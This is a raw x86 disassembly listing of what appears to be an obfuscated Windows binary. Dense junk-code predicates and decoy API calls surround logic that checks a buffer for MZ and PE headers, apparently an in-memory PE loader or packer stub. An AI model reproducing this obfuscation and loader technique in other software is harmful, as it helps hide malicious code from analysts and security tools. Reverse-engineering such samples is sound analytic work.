mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xd0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 8]
mov dword [ebp - 0x73c], eax
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0x78c], eax
or eax, 0xffffffff
je 0x432ee5
mov dword [ebp - 0x39c], 1
jmp 0x432eec
and dword [ebp - 0x39c], 0
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 8]
lea ecx, [ebp - 0x1b8]
call fcn.00435ad2
mov ecx, dword [ebp - 0x39c]
cmp ecx, dword [eax]
jge 0x432f17
mov dword [ebp - 0x290], 1
jmp 0x432f1e
and dword [ebp - 0x290], 0
cmp dword [ebp - 0x290], 0x996a5308
jne 0x432f3c
cmp dword [ebp - 0xb8], 0
jne 0x432f3c
and dword [ebp - 0x41c], 0
jmp 0x432f46
mov dword [ebp - 0x41c], 1
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 8]
lea ecx, [ebp - 0x1b8]
call fcn.00435ad2
mov eax, dword [eax]
cmp eax, dword [ebp - 0x41c]
jge 0x432f71
mov dword [ebp - 0x298], 1
jmp 0x432f78
and dword [ebp - 0x298], 0
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 8]
lea ecx, [ebp - 0x1b8]
call fcn.00435ad2
mov ecx, dword [ebp - 0x298]
add ecx, dword [eax]
mov dword [ebp - 0x3a4], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 8]
cmp dword [ebp - 0x3a4], eax
jg 0x432fb9
mov dword [ebp - 0x2a0], 1
jmp 0x432fc0
and dword [ebp - 0x2a0], 0
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 8]
lea ecx, [ebp - 0x1b8]
call fcn.00435ad2
cmp dword [eax], 0xc75daa08
je 0x432fe9
mov dword [ebp - 0x45c], 1
jmp 0x432ff0
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0x45c]
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x518], 0
je 0x4330e7
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 1
jl 0x43302a
mov dword [ebp - 0x2a8], 1
jmp 0x433031
and dword [ebp - 0x2a8], 0
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 8]
lea ecx, [ebp - 0x1b8]
call fcn.00435ad2
mov ecx, dword [ebp - 0xb8]
add ecx, dword [eax]
cmp ecx, 0xa2e255bb
jae 0x433062
mov dword [ebp - 0x3ac], 1
jmp 0x433069
and dword [ebp - 0x3ac], 0
mov eax, dword [ebp - 0x2a8]
cmp eax, dword [ebp - 0x3ac]
jne 0x433095
push 1
lea ecx, [ebp - 0x5bc]
call fcn.00435ad2
cmp dword [eax], 0
je 0x433095
mov dword [ebp - 0x2b0], 1
jmp 0x43309c
and dword [ebp - 0x2b0], 0
push 1
lea ecx, [ebp - 0x5bc]
call fcn.00435ad2
mov ecx, dword [ebp - 0x2b0]
cmp ecx, dword [eax]
jne 0x4330bf
mov dword [ebp - 0x424], 1
jmp 0x4330c6
and dword [ebp - 0x424], 0
mov eax, dword [ebp - 0x424]
mov dword [ebp - 0x2b8], eax
mov eax, dword [ebp - 0x2b8]
mov dword [ebp - 0x794], eax
cmp dword [ebp - 0x484], 0
jne 0x4330f9
cmp dword [ebp - 0x4f4], 0
jne 0x4330f9
and dword [ebp - 0x3b4], 0
jmp 0x433103
mov dword [ebp - 0x3b4], 1
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 8]
lea ecx, [ebp - 0x1b8]
call fcn.00435ad2
mov ecx, dword [ebp - 0x3b4]
cmp ecx, dword [eax]
jg 0x43312e
mov dword [ebp - 0x2c0], 1
jmp 0x433135
and dword [ebp - 0x2c0], 0
mov eax, dword [ebp - 0xb8]
cmp dword [ebp - 0x2c0], eax
je 0x43314f
mov dword [ebp - 0x2c8], 1
jmp 0x433156
and dword [ebp - 0x2c8], 0
mov eax, dword [ebp - 0x484]
cmp dword [ebp - 0x2c8], eax
jge 0x433170
mov dword [ebp - 0x3bc], 1
jmp 0x433177
and dword [ebp - 0x3bc], 0
mov eax, dword [ebp - 0x3bc]
mov dword [ebp - 0xd0], eax
jmp 0x432dba
lea ecx, [ebp - 0x5bc]
call fcn.00435ab6
lea ecx, [ebp - 0x1b8]
call fcn.00435ab6
mov eax, dword [ebp - 0x198]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x433851
mov dword [ebp - 0x164], 1
mov dword [ebp - 0x164], 9
jmp 0x4331d5
mov eax, dword [ebp - 0x164]
dec eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 5
je 0x433219
mov dword [ebp - 0xe0], 1
mov dword [ebp - 0xe0], 0xffffffef
jmp 0x433201
mov eax, dword [ebp - 0xe0]
dec eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0xffffffea
jle 0x433217
cmp dword [ebp - 0xe0], 0
je 0x433215
jmp 0x433217
jmp 0x4331f4
jmp 0x4331c8
push 3
lea ecx, [ebp - 0x1c8]
call fcn.004359e4
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x1c], 0x5ebda184
mov dword [ebp - 0xbc], 0xfffffffd
mov dword [ebp - 0x50c], 1
mov dword [ebp - 0x580], 0xe24eb764
mov dword [ebp - 0x12c], 0
jmp 0x43326b
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 3
jge 0x43328d
push dword [ebp - 0x12c]
lea ecx, [ebp - 0x1c8]
call fcn.00435ad2
mov dword [eax], 0xb110c93b
jmp 0x43325e
push 2
lea ecx, [ebp - 0x1c8]
call fcn.00435ad2
and dword [eax], 0
jmp 0x4332c3
push 2
lea ecx, [ebp - 0x1c8]
call fcn.00435ad2
mov dword [ebp - 0x2d0], eax
mov eax, dword [ebp - 0x2d0]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x2d0]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0x1c8]
call fcn.00435ad2
cmp dword [eax], 0xffffffe8
jge 0x43383f
mov dword [ebp - 0xa0], 1
mov dword [ebp - 0xd8], 1
mov dword [ebp - 0x3dc], 0xfffffff9
mov dword [ebp - 0x504], 0x85970102
mov dword [ebp - 0x154], 0
jmp 0x43331a
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 2
jge 0x433336
mov eax, dword [ebp - 0x154]
mov dword [ebp + eax*4 - 0x540], 0xfffffff8
jmp 0x43330d
mov dword [ebp - 0x4c], 1
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0xa0], eax
je 0x433354
mov dword [ebp - 0x42c], 1
jmp 0x43335b
and dword [ebp - 0x42c], 0
mov eax, dword [ebp - 0xa0]
cmp dword [ebp - 0x42c], eax
jl 0x433375
mov dword [ebp - 0x2d8], 1
jmp 0x43337c
and dword [ebp - 0x2d8], 0
cmp dword [ebp - 0x2d8], 0x82e7
jle 0x433394
mov dword [ebp - 0x3c4], 1
jmp 0x43339b
and dword [ebp - 0x3c4], 0
push 2
lea ecx, [ebp - 0x1c8]
call fcn.00435ad2
mov ecx, dword [ebp - 0x3c4]
cmp ecx, dword [eax]
jle 0x4333be
mov dword [ebp - 0x2e0], 1
jmp 0x4333c5
and dword [ebp - 0x2e0], 0
mov eax, dword [ebp - 0x2e0]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x79c], eax
push 2
lea ecx, [ebp - 0x1c8]
call fcn.00435ad2
push 0
lea ecx, [ebp - 0x1c8]
call fcn.00435ad2
cmp dword [eax], 1
jg 0x43366e
mov dword [ebp - 0x134], 1
mov dword [ebp - 0x1ac], 0x540f213e
mov dword [ebp - 0x570], 1
mov dword [ebp - 0x480], 0xe28
mov dword [ebp - 0x100], 0
jmp 0x43343b
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 2
jge 0x433457
mov eax, dword [ebp - 0x100]
mov dword [ebp + eax*4 - 0x690], 0x12106df3
jmp 0x43342e
mov dword [ebp - 0x1c], 0
jmp 0x433467
mov eax, dword [ebp - 0x1c]
dec eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffe6
jg 0x4334f3
mov dword [ebp - 0x464], 0x41b87000
mov dword [ebp - 0x554], 0xc8c5cecc
push 0xfffffffffffffffa
pop eax
test eax, eax
je 0x43349f
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
dec ecx
mov dword [ebp - 0xbc], ecx
mov eax, dword [ebp - 0xd8]
imul eax, dword [ebp - 0x554]
cmp eax, 0x361131e3
jg 0x4334bf
mov dword [ebp - 0x4fc], 1
jmp 0x4334c6
and dword [ebp - 0x4fc], 0
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x7a4], eax
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x464], eax
imul eax, dword [ebp - 0x464], 0x325c
mov dword [ebp - 0x1ac], eax
jmp 0x433460
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x778], eax
cmp dword [ebp - 0x134], 0
je 0x433515
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x480]
sub eax, dword [ebp - 0x570]
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x77c], eax
mov eax, dword [ebp - 0x1ac]
cmp dword [ebp - 0xd8], eax
jge 0x43353b
mov dword [ebp - 0x2e8], 1
jmp 0x433542
and dword [ebp - 0x2e8], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x2e8], eax
jne 0x433559
mov dword [ebp - 0x3cc], 1
jmp 0x433560
and dword [ebp - 0x3cc], 0
mov eax, dword [ebp - 0x1ac]
cmp dword [ebp - 0x3cc], eax
jg 0x43357a
mov dword [ebp - 0x2f0], 1
jmp 0x433581
and dword [ebp - 0x2f0], 0
mov eax, dword [ebp - 0x2f0]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x69c], eax
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x694], eax
mov eax, 0xb5794199
cmp eax, 0x3674dcce
jne 0x4335c3
mov dword [ebp - 0x434], 1
jmp 0x4335ca
and dword [ebp - 0x434], 0
cmp dword [ebp - 0x434], 0xfffffffc
jne 0x4335df
mov dword [ebp - 0x2f8], 1
jmp 0x4335e6
and dword [ebp - 0x2f8], 0
cmp dword [ebp - 0x2f8], 5
jle 0x4335fb
mov dword [ebp - 0x3d4], 1
jmp 0x433602
and dword [ebp - 0x3d4], 0
imul eax, dword [ebp - 0x3d4], 0xc499
imul eax, eax, 0xffff
mov dword [ebp - 0x300], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x300]
mov dword [ebp + eax - 0x690], ecx
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0
je 0x433655
cmp dword [ebp - 0x480], 0
je 0x433655
mov dword [ebp - 0x308], 1
jmp 0x43365c
and dword [ebp - 0x308], 0
imul eax, dword [ebp - 0x308], 0x256c
mov dword [ebp - 0x4c], eax
jmp 0x43383a
mov dword [ebp - 0x43c], 0xfffffffe
cmp dword [ebp - 0x4c], 0
je 0x433683
jmp 0x43383f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x540]
mov dword [ebp - 0x3dc], eax
cmp dword [ebp - 0x3dc], 0
jne 0x4336b9
mov eax, dword [ebp - 0xbc]
imul eax, dword [ebp - 0x43c]
test eax, eax
jne 0x4336b9
and dword [ebp - 0x310], 0
jmp 0x4336c3
mov dword [ebp - 0x310], 1
mov eax, dword [ebp - 0x310]
mov dword [ebp - 0x504], eax
cmp dword [ebp - 0x43c], 0xa08677a
jne 0x4336e7
mov dword [ebp - 0x318], 1
jmp 0x4336ee
and dword [ebp - 0x318], 0
mov eax, dword [ebp - 0x318]
mov dword [ebp - 0x4c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x540]
cmp dword [ebp - 0x4c], eax
jne 0x433721
cmp dword [ebp - 0x4c], 0
jne 0x433721
mov eax, 0xe93a
test eax, eax
jne 0x433721
and dword [ebp - 0x3e4], 0
jmp 0x43372b
mov dword [ebp - 0x3e4], 1
push 2
lea ecx, [ebp - 0x1c8]
call fcn.00435ad2
mov ecx, dword [ebp - 0x3e4]
add ecx, dword [eax]
jne 0x43374e
mov dword [ebp - 0x320], 1
jmp 0x433755
and dword [ebp - 0x320], 0
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0x320]
jle 0x43376f
mov dword [ebp - 0x558], 1
jmp 0x433776
and dword [ebp - 0x558], 0
mov eax, dword [ebp - 0x50c]
mov dword [ebp - 0x6a4], eax
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0xd8]
jl 0x43379c
mov dword [ebp - 0x46c], 1
jmp 0x4337a3
and dword [ebp - 0x46c], 0
cmp dword [ebp - 0x46c], 5
jle 0x4337b8
mov dword [ebp - 0x328], 1
jmp 0x4337bf
and dword [ebp - 0x328], 0
cmp dword [ebp - 0x328], 0x34c7
jne 0x4337d7
mov dword [ebp - 0x3ec], 1
jmp 0x4337de
and dword [ebp - 0x3ec], 0
mov eax, dword [ebp - 0x580]
cmp dword [ebp - 0x3ec], eax
je 0x4337fe
cmp dword [ebp - 0xbc], 0
jne 0x4337fe
and dword [ebp - 0x330], 0
jmp 0x433808
mov dword [ebp - 0x330], 1
cmp dword [ebp - 0x330], 0x7c2ae6ba
jg 0x433820
mov dword [ebp - 0x444], 1
jmp 0x433827
and dword [ebp - 0x444], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x444]
mov dword [ebp + eax - 0x540], ecx
jmp 0x43329f
lea ecx, [ebp - 0x1c8]
call fcn.00435ab6
xor eax, eax
jmp 0x435566
mov dword [ebp - 0xc4], 0xffffffff
mov dword [ebp - 0x6ac], 1
mov dword [ebp - 0x6a0], 0xffffffff
mov dword [ebp - 0x720], 1
mov dword [ebp - 0x6a8], 0x891f782a
mov dword [ebp - 0x684], 2
mov dword [ebp - 0x6b0], 0xfffffff7
mov dword [ebp - 0x728], 0xffffffff
mov dword [ebp - 0x6b8], 1
mov dword [ebp - 0x338], 0xfffb
mov dword [ebp - 0x174], 0
jmp 0x4338ce
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 3
jge 0x4338ea
mov eax, dword [ebp - 0x174]
mov dword [ebp + eax*4 - 0x7b0], 1
jmp 0x4338c1
mov eax, dword [ebp - 0x338]
dec eax
mov dword [ebp - 0x338], eax
mov dword [ebp - 0xc4], 0
jmp 0x433910
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 2
jg 0x433976
mov dword [ebp - 0x19c], 0xfffffff7
mov byte [ebp - 0x75], 0
movzx eax, byte [ebp - 0x75]
test eax, eax
je 0x433954
push 0x150
push 0
push 0x6ec
push 0xfa1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
mov eax, dword [ebp - 0x19c]
dec eax
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x19c]
mov ecx, dword [ebp - 0xc4]
mov dword [ebp + ecx*4 - 0x7b0], eax
jmp 0x433903
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xd4], ecx
mov dword [ebp - 0x15c], 0xdb3ae355
mov dword [ebp - 0x790], 0x693009c
mov dword [ebp - 0x6c0], 1
mov dword [ebp - 0x730], 0xcae2
mov dword [ebp - 0x13c], 0
jmp 0x4339c9
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 1
jge 0x4339e5
mov eax, dword [ebp - 0x13c]
mov dword [ebp + eax*4 - 0x6c8], 1
jmp 0x4339bc
mov dword [ebp - 0x15c], 0
jmp 0x4339fe
mov eax, dword [ebp - 0x15c]
dec eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0xffffffee
jl 0x433b92
push 4
lea ecx, [ebp - 0x5b0]
call fcn.004359e4
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x780], 0x3f7bf48c
mov dword [ebp - 0x6d0], 0xfffffffc
mov dword [ebp - 0x738], 0x1c71bc7d
mov dword [ebp - 0x600], 1
mov dword [ebp - 0x5fc], 1
mov dword [ebp - 0x5f8], 1
mov dword [ebp - 0x5f4], 1
lea ecx, [ebp - 0x19d]
call fcn.00435ae1
push eax
lea eax, [ebp - 0x5f0]
push eax
lea eax, [ebp - 0x600]
push eax
lea ecx, [ebp - 0x7e4]
call fcn.00435ae4
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x75c]
call fcn.00435a90
mov dword [ebp - 0x3f4], 1
mov dword [ebp - 0x10c], 0
jmp 0x433ac0
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 4
jge 0x433ae2
push dword [ebp - 0x10c]
lea ecx, [ebp - 0x5b0]
call fcn.00435ad2
mov dword [eax], 1
jmp 0x433ab3
mov dword [ebp - 0x110], 3
jmp 0x433afb
mov eax, dword [ebp - 0x110]
dec eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jl 0x433b4a
mov dword [ebp - 0x6d8], 0xfffffffa
mov dword [ebp - 0x7a0], 0x746a1c17
mov dword [ebp - 0x6e0], 0x15e82aa9
mov byte [ebp - 0x68], 0
movzx eax, byte [ebp - 0x68]
test eax, eax
je 0x433b3b
push 0x13d9
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x3f4]
inc eax
mov dword [ebp - 0x3f4], eax
jmp 0x433aee
push 3
lea ecx, [ebp - 0x5b0]
call fcn.00435ad2
cmp dword [eax], 0
je 0x433b77
lea ecx, [ebp - 0x75c]
call fcn.00435ab6
lea ecx, [ebp - 0x5b0]
call fcn.00435ab6
jmp 0x4339f1
lea ecx, [ebp - 0x75c]
call fcn.00435ab6
lea ecx, [ebp - 0x5b0]
call fcn.00435ab6
jmp 0x4339f1
mov eax, dword [ebp - 0xd4]
cmp dword [eax], 0x4550
je 0x433ba7
xor eax, eax
jmp 0x435566
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x120], 0x36be
mov dword [ebp - 0xac], 1
mov dword [ebp - 0x628], 0xfc75daa0
mov dword [ebp - 0x624], 0xfc75daa0
mov dword [ebp - 0x620], 0xfc75daa0
mov dword [ebp - 0x61c], 0xfc75daa0
lea ecx, [ebp - 0x1a5]
call fcn.00435ae1
push eax
lea eax, [ebp - 0x618]
push eax
lea eax, [ebp - 0x628]
push eax
lea ecx, [ebp - 0x7ec]
call fcn.00435ae4
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x4e0]
call fcn.00435a90
mov dword [ebp - 0x524], 0x4eca6696
mov dword [ebp - 0x2c], 0
jmp 0x433c39
mov eax, dword [ebp - 0x2c]
dec eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffe5
jne 0x4340a9
mov dword [ebp - 0xa4], 1
mov dword [ebp - 0x50], 0x8f4f
mov dword [ebp - 0x568], 0x28ed3351
mov eax, 0xdfc67f90
test eax, eax
je 0x433e51
mov dword [ebp - 0x118], 0x67fa5c62
mov dword [ebp - 0x578], 0x477a14a9
mov dword [ebp - 0x118], 0x1a
jmp 0x433c98
mov eax, dword [ebp - 0x118]
dec eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0x16
jl 0x433e4f
mov dword [ebp - 0x514], 0x8f0d
mov dword [ebp - 0x348], 3
mov dword [ebp - 0x560], 0
cmp dword [ebp - 0xa4], 0
jne 0x433cd8
mov dword [ebp - 0x340], 1
jmp 0x433cdf
and dword [ebp - 0x340], 0
mov eax, dword [ebp - 0x514]
cmp dword [ebp - 0x340], eax
jge 0x433cf9
mov dword [ebp - 0x360], 1
jmp 0x433d00
and dword [ebp - 0x360], 0
cmp dword [ebp - 0x120], 1
je 0x433d15
mov dword [ebp - 0x478], 1
jmp 0x433d1c
and dword [ebp - 0x478], 0
cmp dword [ebp - 0x478], 0xddbf4df7
jbe 0x433d34
mov dword [ebp - 0x3fc], 1
jmp 0x433d3b
and dword [ebp - 0x3fc], 0
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x348], eax
mov eax, dword [ebp - 0x348]
cmp eax, dword [ebp - 0x3fc]
jne 0x433d61
mov dword [ebp - 0x350], 1
jmp 0x433d68
and dword [ebp - 0x350], 0
mov eax, dword [ebp - 0x350]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0xac], eax
jle 0x433d8b
mov dword [ebp - 0x44c], 1
jmp 0x433d92
and dword [ebp - 0x44c], 0
cmp dword [ebp - 0x44c], 0x355c
jl 0x433daa
mov dword [ebp - 0x180], 1
jmp 0x433db1
and dword [ebp - 0x180], 0
push 1
lea ecx, [ebp - 0x4e0]
call fcn.00435ad2
mov ecx, dword [ebp - 0x180]
mov dword [eax], ecx
imul eax, dword [ebp - 0x180], 9
cmp eax, 0xffffffff
jge 0x433dde
mov dword [ebp - 0x1cc], 1
jmp 0x433de5
and dword [ebp - 0x1cc], 0
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x1cc]
jne 0x433e02
cmp dword [ebp - 0x560], 0
jne 0x433e02
and dword [ebp - 0x404], 0
jmp 0x433e0c
mov dword [ebp - 0x404], 1
mov eax, dword [ebp - 0xa4]
add eax, dword [ebp - 0x404]
cmp dword [ebp - 0x360], eax
jle 0x433e2c
mov dword [ebp - 0x51c], 1
jmp 0x433e33
and dword [ebp - 0x51c], 0
mov eax, 0xe3a4
test eax, eax
jne 0x433e40
cmp dword [ebp - 0x50], 0
mov dword [ebp - 0x578], 0xfffffff8
jmp 0x433c8b
jmp 0x433ead
mov byte [ebp - 0x95], 0
movzx eax, byte [ebp - 0x95]
test eax, eax
je 0x433ead
push 0x59c
push 0x1363
push 0
push 0
push 0x947
push 0x1b56
push 0x14f6
push 0x1d4
push 0x888
push 0x233d
push 0x551
push 0x2119
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchDIBits]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x740], eax
push 1
lea ecx, [ebp - 0x4e0]
call fcn.00435ad2
mov dword [ebp - 0x474], eax
push 3
lea ecx, [ebp - 0x4e0]
call fcn.00435ad2
mov ecx, dword [ebp - 0x474]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x474]
cmp dword [eax], 0
je 0x433f7e
cmp dword [ebp - 0x50], 0
je 0x433f05
xor eax, eax
je 0x433f05
mov dword [ebp - 0x368], 1
jmp 0x433f0c
and dword [ebp - 0x368], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x368], eax
je 0x433f2c
cmp dword [ebp - 0x50], 0
je 0x433f2c
mov dword [ebp - 0x378], 1
jmp 0x433f33
and dword [ebp - 0x378], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x378], eax
jl 0x433f4a
mov dword [ebp - 0x370], 1
jmp 0x433f51
and dword [ebp - 0x370], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x370], eax
jle 0x433f6e
cmp dword [ebp - 0xa4], 0
jne 0x433f6e
and dword [ebp - 0x380], 0
jmp 0x433f78
mov dword [ebp - 0x380], 1
mov eax, dword [ebp - 0x120]
cmp dword [ebp - 0x120], 0xffffffff
jg 0x433f93
mov dword [ebp - 0x240], 1
jmp 0x433f9a
and dword [ebp - 0x240], 0
mov eax, dword [ebp - 0xa4]
add eax, dword [ebp - 0x240]
jne 0x433fb7
cmp dword [ebp - 0x50], 0
jne 0x433fb7
and dword [ebp - 0x244], 0
jmp 0x433fc1
mov dword [ebp - 0x244], 1
cmp dword [ebp - 0x244], 0xe882
jl 0x433feb
push 1
lea ecx, [ebp - 0x4e0]
call fcn.00435ad2
cmp dword [eax], 0
je 0x433feb
mov dword [ebp - 0x24c], 1
jmp 0x433ff2
and dword [ebp - 0x24c], 0
mov eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0x24c]
jne 0x434012
mov eax, 0xdc4e
test eax, eax
jne 0x434012
and dword [ebp - 0x254], 0
jmp 0x43401c
mov dword [ebp - 0x254], 1
mov eax, dword [ebp - 0x254]
sub eax, 0xd189
mov dword [ebp - 0x524], eax
cmp dword [ebp - 0x50], 0
jle 0x434045
cmp dword [ebp - 0xac], 0
jne 0x434045
and dword [ebp - 0x25c], 0
jmp 0x43404f
mov dword [ebp - 0x25c], 1
mov eax, dword [ebp - 0xac]
cmp eax, dword [ebp - 0x25c]
jge 0x434069
mov dword [ebp - 0x264], 1
jmp 0x434070
and dword [ebp - 0x264], 0
cmp dword [ebp - 0x264], 0
jne 0x434085
mov dword [ebp - 0x26c], 1
jmp 0x43408c
and dword [ebp - 0x26c], 0
mov eax, dword [ebp - 0x26c]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x568], eax
jmp 0x433c32
mov dword [ebp - 0x2c], 0xffffffe7
jmp 0x4340b9
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x10
je 0x4340e8
push 1
lea ecx, [ebp - 0x4e0]
call fcn.00435ad2
mov dword [eax], 1
mov byte [ebp - 0x6a], 0
movzx eax, byte [ebp - 0x6a]
test eax, eax
je 0x4340e6
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
jmp 0x4340b2
lea ecx, [ebp - 0x4e0]
call fcn.00435ab6
push 0x6427
push 0x2fb8
push 0x3afe
push 1
push 1
push 0xd99
push 0x5bcf
push 1
push 0x9dc
push 1
push 0xf8b
push 1
push dword [ebp - 0xd4]
push 0x645b
lea eax, [ebp - 0x178]
push eax
push 0x7959
push 0x5cfd
push 0x1b6c
call fcn.00423106
add esp, 0x48
mov dword [ebp - 0xc], 0xce125d16
mov dword [ebp - 0x8c], 0xe467b47e
mov dword [ebp - 0x538], 0xffffffff
mov dword [ebp - 0x128], 0
jmp 0x43417d
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 1
jge 0x434196
mov eax, dword [ebp - 0x128]
mov dword [ebp + eax*4 - 0x20], 0xfffc
jmp 0x434170
mov dword [ebp - 0xc], 0
jmp 0x4341a6
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jg 0x434598
mov dword [ebp - 0xb4], 6
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0x188], 0x5464cd02
mov dword [ebp - 0x548], 4
mov dword [ebp - 0x2f4], 0xffffffff
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x20]
mov dword [ebp - 0x6e8], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x20], 5
jne 0x434208
mov dword [ebp - 0x274], 1
jmp 0x43420f
and dword [ebp - 0x274], 0
mov eax, dword [ebp - 0x274]
dec eax
cmp eax, dword [ebp - 0xc]
jl 0x434227
mov dword [ebp - 0x52c], 1
jmp 0x43422e
and dword [ebp - 0x52c], 0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x20]
cmp dword [ebp - 0xb4], eax
jne 0x434252
mov dword [ebp - 0x27c], 1
jmp 0x434259
and dword [ebp - 0x27c], 0
cmp dword [ebp - 0x27c], 0xfffffff7
je 0x43426e
mov dword [ebp - 0x284], 1
jmp 0x434275
and dword [ebp - 0x284], 0
cmp dword [ebp - 0x284], 0x62b000c
jle 0x43428d
mov dword [ebp - 0x28c], 1
jmp 0x434294
and dword [ebp - 0x28c], 0
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x20]
cmp eax, dword [ebp - 0x28c]
jg 0x4342af
mov dword [ebp - 0x294], 1
jmp 0x4342b6
and dword [ebp - 0x294], 0
cmp dword [ebp - 0x294], 0
jb 0x4342d4
cmp dword [ebp - 0xb4], 0
je 0x4342d4
mov dword [ebp - 0x29c], 1
jmp 0x4342db
and dword [ebp - 0x29c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20]
add eax, dword [ebp - 0x29c]
jne 0x4342ff
cmp dword [ebp - 0xcc], 0
jne 0x4342ff
and dword [ebp - 0x2a4], 0
jmp 0x434309
mov dword [ebp - 0x2a4], 1
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x20]
cmp dword [ebp - 0x2a4], eax
jle 0x434324
mov dword [ebp - 0x2ac], 1
jmp 0x43432b
and dword [ebp - 0x2ac], 0
mov eax, dword [ebp - 0x2ac]
add eax, 0xdfe4
mov ecx, dword [ebp - 0xc]
cmp eax, dword [ebp + ecx*4 - 0x20]
je 0x434355
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x20], 0
jne 0x434355
and dword [ebp - 0x2b4], 0
